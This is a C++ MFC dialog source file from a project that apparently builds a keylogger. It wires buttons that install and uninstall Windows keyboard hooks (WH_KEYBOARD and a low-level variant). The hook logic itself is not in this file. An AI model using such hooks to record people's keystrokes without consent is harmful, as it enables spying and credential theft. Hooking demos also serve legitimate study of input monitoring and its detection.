// TabRing3.cpp : implementation file
//

#include "stdafx.h"
#include "KeyLogger.h"
#include "TabRing3.h"
#include "../HookKeyBoard/HookKeyBoard.h"

#ifndef _PUBLIC
#define _public
#include <windows.h>
#include "../Public/public.h"
#endif
#include "../HookKeyBoardLL/whKeyboardLl.h"

// CTabRing3 dialog

IMPLEMENT_DYNAMIC(CTabRing3, CDialog)

CTabRing3::CTabRing3(CWnd* pParent /*=NULL*/)
	: CDialog(CTabRing3::IDD, pParent)
{

}

CTabRing3::~CTabRing3()
{
}

void CTabRing3::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
}


BEGIN_MESSAGE_MAP(CTabRing3, CDialog)
	ON_BN_CLICKED(IDC_BUTTON_METHOD1_INSTALL, &CTabRing3::OnBnClickedButtonMethod1Install)
	ON_BN_CLICKED(IDC_BUTTON_METHOD1_UNINSTALL, &CTabRing3::OnBnClickedButtonMethod1Uninstall)
	ON_BN_CLICKED(IDC_BUTTON_METHOD2_INSTALL, &CTabRing3::OnBnClickedButtonMethod2Install)
	ON_BN_CLICKED(IDC_BUTTON_METHOD2_UNINSTALL, &CTabRing3::OnBnClickedButtonMethod2Uninstall)
END_MESSAGE_MAP()


// CTabRing3 message handlers

void CTabRing3::OnBnClickedButtonMethod1Install()
{
	// TODO: Add your control notification handler code here
	Method1Install();
}

void CTabRing3::OnBnClickedButtonMethod1Uninstall()
{
	// TODO: Add your control notification handler code here
	Method1Uninst();
}

void CTabRing3::OnBnClickedButtonMethod2Install()
{
	// TODO: Add your control notification handler code here
	InstallHook();
	OutputDebugString("WH_KEYBOARD Hook SUCCESS");
}

void CTabRing3::OnBnClickedButtonMethod2Uninstall()
{
	// TODO: Add your control notification handler code here
	UninstHook();
	OutputDebugString("WH_KEYBOARD UnHook SUCCESS");
}
